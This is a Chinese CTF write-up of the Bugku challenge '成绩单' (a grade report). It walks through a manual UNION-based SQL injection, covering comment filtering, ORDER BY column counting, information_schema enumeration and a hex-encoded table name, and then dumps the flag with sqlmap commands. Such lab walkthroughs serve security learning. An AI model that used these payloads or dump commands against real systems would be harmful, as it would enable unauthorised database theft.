web——成绩单(90)——Bugku

墨蓝 2022-11-25 04:18 227阅读 0赞

## 0×00 靶场链接 ##

[http://123.206.87.240:8002/chengjidan/][http_123.206.87.240_8002_chengjidan]

##    0×01 题目描述 ##

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1][]

应该就是一个注入题了

## 0×02 解题过程 ##

输入1

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2][]

输入2

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3][]

输入3

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4][]

输入4

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

说明一共就3个字段

现在尝试一下手注

输入1'--+ 依旧报错

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

再试试1' 依旧报错

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

再试试1'\# 没有报错了

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6][]

这说明本题--+被过滤掉了

再来看数据库有几列

1234对应的数据库分别有：姓名，Math，English，Chinese，我们利用Order By来看看到底有几列

Payload：1' order by 4\# 返回正常

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6][]

1’ order by 5\#,返回异常

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

所以确定一共只有四个列

开始爆破库，表，字段

在进行联合查询时，首先需要把前面的id给清空才能显示我们后面查询的内容

我们把id置为-1，然后union select

构造id=-1’ union select 1,2,3,4\#,得到如下四个回显点

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7][]

然后看看数据库名称,注意标点一定要是英文啊

构造 id=-1' union select 1,2,3,database()\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 8][]

再看表名

这里记一点零碎的知识:  
mysql中的information\_schema 结构用来存储数据库系统信息

id=-1' union select 1,2,3,group\_concat(table\_name) from information\_schema.tables where table\_schema=database()\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 9][]

最后来爆字段名

id=-1' union select 1,2,3,group\_concat(column\_name) from information\_schema.columns where table\_name=0x666c3467\#

这里用到了16进制编码来绕过，因为flag是敏感信息，可能会被过滤

id=-1' union select 1,2,3,group\_concat(column\_name) from information\_schema.columns where table\_name=fl4g.sc\#

否则查出来是空

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 10][]

最后查询数据

id=-1' union select 1,2,3,skctf\_flag from fl4g\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 11][]

2.SQLMAP法

随便输入数字然后抓包

把抓到的包另存为txt文件，然后在sqlmap里面跑

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 12][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 13][]

丢到sqlmap里，直接拖拽

构造命令 python sqlmap.py -r C:\\Users\\Zichel\\Desktop\\1.txt，这一步是查询是否存在sql注入

![20200807124445640.png][]

找到了数据库类型和注入点

![20200807124457817.png][]

接下来查询当前数据库

python sqlmap.py -r C:\\Users\\Zichel\\Desktop\\1.txt --current-db（无空格）

![20200807124509199.png][]

![20200807124513573.png][]

数据库名得到，为skctf\_flag

查询有哪些数据表

python sqlmap.py -r C:\\Users\\Zichel\\Desktop\\1.txt -D skctf\_flag –tables

![20200807124528564.png][]

![20200807124535725.png][]

看样子就是第一个表fl4g比较像

我们查询第一个表fl4g有那些列

python sqlmap.py -r C:\\Users\\Zichel\\Desktop\\1.txt -D skctf\_flag –T fl4g –columns

![20200807124600354.png][]

![20200807124605378.png][]

我们来看看skctf\_flag列的内容

python sqlmap.py -r C:\\Users\\Zichel\\Desktop\\1.txt -D skctf\_flag –T fl4g -C skctf\_flag --dump

一定要注意格式呀呀呀呀呀呀

![2020080712461838.png][]

![20200807124621892.png][]

结束

##  ##

[http_123.206.87.240_8002_chengjidan]: http://123.206.87.240:8002/chengjidan/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70]: /images/20221124/55237f60ec0b4cf7921a3b108a1e6c78.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1]: /images/20221124/c9cf1df595dd40489b27ed8a640705e3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2]: /images/20221124/42df8673ad6245f68f00d177ff16e7be.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3]: /images/20221124/bc98a8f6f7824595b9b64d4c05b348f6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4]: /images/20221124/db2f8c85705f4352a4be4625033095ea.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5]: /images/20221124/efd0faa936ec4d2aadf15a8a3dc7b826.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6]: /images/20221124/25aa239422c04cd6986fe5883779d8b0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7]: /images/20221124/6e6769b65a174c1ea7151bd810f0add1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 8]: /images/20221124/259202d05c7d4ca5a9c93b33c5ad1bf4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 9]: /images/20221124/b327aeca0f62425aa123531cf1f7271c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 10]: /images/20221124/0d7234f134d143d78670ff553f77c9d6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 11]: /images/20221124/97f9338f8246435d9cfef3a04db1b6f2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 12]: /images/20221124/3383d3463d5848b6a0c4d8d0ec50d919.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 13]: /images/20221124/57b3d28c843345ad8bac943209d6fcc0.png
[20200807124445640.png]: /images/20221124/9d8868bc6e3642ea822a7c62e91198e9.png
[20200807124457817.png]: /images/20221124/4a2e3ed9be9d4ac5b433493498603303.png
[20200807124509199.png]: /images/20221124/389b0c27d07a429b8e3c3933a16f4f93.png
[20200807124513573.png]: /images/20221124/675e0a59f6514a18a450df861fa31a94.png
[20200807124528564.png]: /images/20221124/f7404f46794c4ec5a05968e122f36279.png
[20200807124535725.png]: /images/20221124/57badd9de51d41a8a2ea83a141f26645.png
[20200807124600354.png]: /images/20221124/b70e4813377949f38c2bd7d010c19018.png
[20200807124605378.png]: /images/20221124/b0ca7aa65d014433ae998200fac67682.png
[2020080712461838.png]: /images/20221124/a682f3a5e39d4f0c9af6f0aac5337699.png
[20200807124621892.png]: /images/20221124/b11a38f1185e43c7a3b4bc74e8abd189.png